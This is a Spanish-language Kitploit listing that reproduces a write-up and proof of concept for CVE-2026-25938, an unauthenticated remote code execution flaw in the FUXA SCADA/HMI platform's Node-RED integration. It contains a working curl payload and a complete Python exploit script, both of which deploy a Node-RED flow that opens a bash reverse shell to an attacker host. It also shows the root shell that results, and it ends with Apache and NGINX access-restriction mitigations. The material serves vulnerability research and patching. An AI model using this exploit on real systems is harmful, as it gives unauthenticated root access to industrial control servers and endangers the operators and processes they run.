Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/judgedbykira/cve-2026-25938-fuxa-unauthenticated-rce
Seguridad IoTAnálisis de VulnerabilidadesExplotaciónSeguridad SCADA/ICSExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubjudgedbykira/cve-2026-25938-fuxa-unauthenticated-rce

CVE-2026-25938-FUXA-Unauthenticated-RCE

Una explicación y un PoC para explotar la vulnerabilidad CVE-2026-25938 de RCE no autenticado en FUXA

Ver Repositorio
18hace 28 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-25938 - RCE no autenticado en FUXA

1. ¿Qué es FUXA?

FUXA es una plataforma SCADA (Control Supervisor y Adquisición de Datos) y HMI (Interfaz Hombre-Máquina) gratuita, de código abierto y basada en web, utilizada para la automatización industrial, IoT y la visualización de procesos en tiempo real. Permite a los usuarios crear paneles personalizados y monitorear máquinas directamente en un navegador web, sin necesidad de software propietario costoso ni editores de escritorio pesados.

2. Explicación de la vulnerabilidad

CVE-2026-25938 afecta a las versiones 1.2.8 a 1.2.10 de FUXA cuando la integración con Node-RED está habilitada (lo está por defecto). La vulnerabilidad se debe a una aplicación insuficiente de la autenticación en la funcionalidad que expone las capacidades de Node-RED, lo que permite que un atacante remoto no autenticado acceda a operaciones que deberían requerir autorización, como crear flujos, siendo una de ellas capaz de ejecutar comandos en el sistema. Dado que Node-RED puede ejecutar flujos con los privilegios del proceso de FUXA, esta omisión de autenticación puede resultar, en última instancia, en una ejecución remota de código arbitraria en el servidor subyacente. El problema se soluciona en FUXA 1.2.11 y versiones posteriores.

CWEs

  • CWE-306 — Ausencia de autenticación para función crítica
  • CWE-290 — Omisión de autenticación mediante suplantación

TTPs

  • T1190 – Explotar aplicación de acceso público
  • T1059 – Intérprete de comandos y scripts

3. Creación del laboratorio

Ejecutaremos un contenedor Docker con una versión vulnerable de FUXA, en este caso la versión 1.2.8:

root@kitploit:~
docker run -d -p 1881:1881 --name fuxa-1.2.8 frangoteam/fuxa:1.2.8

4. Prueba de concepto

El siguiente payload provocará una shell inversa hacia la dirección IP especificada en el nodo exec abusando de la vulnerabilidad:

  • El nodo tab creará un flujo llamado "RCE".
  • El nodo inject se activará automáticamente al ser desplegado. Todo ello gracias a estos parámetros "once": true y "onceDelay": 0.1
  • El nodo exec ejecutará el comando que queramos ejecutar, en este caso la shell inversa. Está especificado en "command": "bash <snip>".
root@kitploit:~
curl -X POST http://<IP_ADDRESS>:1881/nodered/flows \
  -H "Content-Type: application/json" \
  -H "Node-RED-Deployment-Type: full" \
  -H "Referer: http://192.168.1.201:1881/editor" \
  -d '[
    {
      "id": "tab1",
      "type": "tab",
      "label": "RCE",
      "disabled": false,
      "info": ""
    },
    {
      "id": "inject1",
      "type": "inject",
      "z": "tab1",
      "name": "",
      "props": [{"p": "payload"}],
      "repeat": "",
      "crontab": "",
      "once": true,
      "onceDelay": 0.1,
      "topic": "",
      "payload": "",
      "payloadType": "date",
      "x": 150,
      "y": 100,
      "wires": [["exec1"]]
    },
    {
      "id": "exec1",
      "type": "exec",
      "z": "tab1",
      "command": "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1",
      "addpay": "",
      "append": "",
      "useSpawn": "false",
      "timer": "",
      "winHide": false,
      "oldrc": false,
      "name": "",
      "x": 350,
      "y": 100,
      "wires": [["debug1"], [], []]
    }
  ]'

Si creamos un listener para nuestra shell inversa, recibiremos una conexión con una shell root al enviar el payload:

root@kitploit:~
┌──(kali㉿jbkira)-[~]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.36] from (UNKNOWN) [192.168.1.201] 59546
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@887eaf642fc4:/usr/src/app/FUXA/server#

5. Script de PoC automatizado

root@kitploit:~
#!/usr/bin/env python3
import argparse
import requests
import sys
import json

# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"

def exploit(target_url, listener_ip, listener_port):
    # Extract host:port from URL for Referer
    target_host = target_url.split("//")[1].split("/")[0]
    
    # Build the full endpoint
    if not target_url.endswith("/"):
        target_url += "/"
    endpoint = f"{target_url}nodered/flows"

    # Payload for the exploit
    payload = [
        {
            "id": "tab1",
            "type": "tab",
            "label": "RCE",
            "disabled": False,
            "info": ""
        },
        {
            "id": "inject1",
            "type": "inject",
            "z": "tab1",
            "name": "",
            "props": [{"p": "payload"}],
            "repeat": "",
            "crontab": "",
            "once": True,
            "onceDelay": 0.1,
            "topic": "",
            "payload": "",
            "payloadType": "date",
            "x": 150,
            "y": 100,
            "wires": [["exec1"]]
        },
        {
            "id": "exec1",
            "type": "exec",
            "z": "tab1",
            "command": f"bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1",
            "addpay": "",
            "append": "",
            "useSpawn": "false",
            "timer": "",
            "winHide": False,
            "oldrc": False,
            "name": "",
            "x": 350,
            "y": 100,
            "wires": [["debug1"], [], []]
        }
    ]

    headers = {
        "Content-Type": "application/json",
        "Referer": f"http://{target_host}/editor"
    }

    try:
        response = requests.post(endpoint, json=payload, headers=headers, timeout=10)
        if response.status_code == 200 or response.status_code == 204:
            print(f"{GREEN}[+] Exploit successful! Check your listener for a reverse shell. ;){RESET}")
        else:
            print(f"{RED}[-] Exploit failed. Status Code: {response.status_code}{RESET}")
    except requests.exceptions.RequestException as e:
        print(f"{RED}[-] Error occurred: {e}{RESET}")

def argparse_setup():
    parser = argparse.ArgumentParser(description="Exploit for FUXA Unauthenticated RCE (CVE-2026-25938) created by JBKira")
    parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:1881/)", required=True)
    parser.add_argument("-l", "--listener-ip", help="Your listener IP for reverse shell", required=True)
    parser.add_argument("-lp", "--listener-port", type=int, default=443, help="Port for reverse shell (default: 443)")
    return parser.parse_args()

def banner():
    print(f"{YELLOW}")
    print(r"""
     _____ _   _ _____       _____  _____  _____   ____        _____  _____  _____  _____ _____ 
    /  __ \ | | |  ___|     / __  \|  _  |/ __  \ / ___|      / __  \|  ___||  _  ||____ |  _  |
    | /  \/ | | | |__ ______`' / /'| |/' |`' / /'/ /___ ______`' / /'|___ \ | |_| |    / /\ V / 
    | |   | | | |  __|______| / /  |  /| |  / /  | ___ \______| / /      \ \\____ |    \ \/ _ \ 
    | \__/\ \_/ / |___      ./ /___\ |_/ /./ /___| \_/ |      ./ /___/\__/ /.___/ /.___/ / |_| |
    \____/\___/\____/      \_____/ \___/ \_____/\_____/      \_____/\____/ \____/ \____/\_____/
                                                                                                                                                                           
    """)
    print(f"CVE-2026-25938 Exploit for FUXA NODE-RED Unauthenticated RCE created by JBKira{RESET}")
    print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
    print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")

def main():
    args = argparse_setup()
    banner()
    exploit(args.url, args.listener_ip, args.listener_port)

if __name__ == "__main__":
    main()

6. Mitigaciones

Actualice, si es posible, a una versión igual o posterior a 1.2.11; la vulnerabilidad está corregida en la versión 1.2.11.

Si no es posible actualizar, puede hacer lo siguiente:

1. Apache .htaccess

Si se usa Apache como punto de entrada a la aplicación. No funcionará si Apache no puede ver la IP del cliente debido a NAT, Docker Proxy, etc.

root@kitploit:~
<LocationMatch "^/nodered/">
    Require ip 127.0.0.1
    Require ip ::1
    Require ip <TRUSTED_MGMT_CIDR>
</LocationMatch>

2. NGINX

Si se usa NGINX como punto de entrada a la aplicación. No funcionará si NGINX no puede ver la IP del cliente debido a NAT, Docker Proxy, etc.

root@kitploit:~
location /nodered/ {
    allow 127.0.0.1;
    allow ::1;
    allow <TRUSTED_MGMT_CIDR>;
    deny all;
}
Descargar herramienta